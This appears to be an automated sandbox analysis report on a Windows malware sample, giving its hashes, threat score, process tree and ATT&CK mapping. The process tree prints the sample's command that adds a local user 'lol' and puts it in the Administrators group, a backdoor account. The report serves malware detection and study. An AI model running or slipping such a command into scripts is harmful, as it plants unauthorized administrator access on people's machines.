Analysis

  • max time kernel
    139s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    08-06-2022 04:21

General

  • Target

    1a1a1f95234d0cdd46d9265c7c9e0c6fa2836aecf98608eac0d2c6e1247e4ba8.exe

  • Size

    72KB

  • MD5

    1f299506e50a82c1111969d4bf76e7ea

  • SHA1

    9758832ef27dc5b099417f505da7060dd9f7695e

  • SHA256

    1a1a1f95234d0cdd46d9265c7c9e0c6fa2836aecf98608eac0d2c6e1247e4ba8

  • SHA512

    a960f7751d479101ce4d64ac0bbdde1700c7cbeacdd9a6c6f15faaef959a582934cc6053ef2d4fab2c408581a3a477dab02c38d191682b9ca9f894058dd49673

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1a1a1f95234d0cdd46d9265c7c9e0c6fa2836aecf98608eac0d2c6e1247e4ba8.exe
    "C:\Users\Admin\AppData\Local\Temp\1a1a1f95234d0cdd46d9265c7c9e0c6fa2836aecf98608eac0d2c6e1247e4ba8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user lol j /ADD && net localgroup Administrators lol /ADD
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1404
      • C:\Windows\SysWOW64\net.exe
        net user lol j /ADD
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:796
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user lol j /ADD
          4⤵
            PID:2824
        • C:\Windows\SysWOW64\net.exe
          net localgroup Administrators lol /ADD
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1044
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup Administrators lol /ADD
            4⤵
              PID:2104

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Account Manipulation

      1
      T1098

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/796-131-0x0000000000000000-mapping.dmp
      • memory/1044-133-0x0000000000000000-mapping.dmp
      • memory/1404-130-0x0000000000000000-mapping.dmp
      • memory/2104-134-0x0000000000000000-mapping.dmp
      • memory/2824-132-0x0000000000000000-mapping.dmp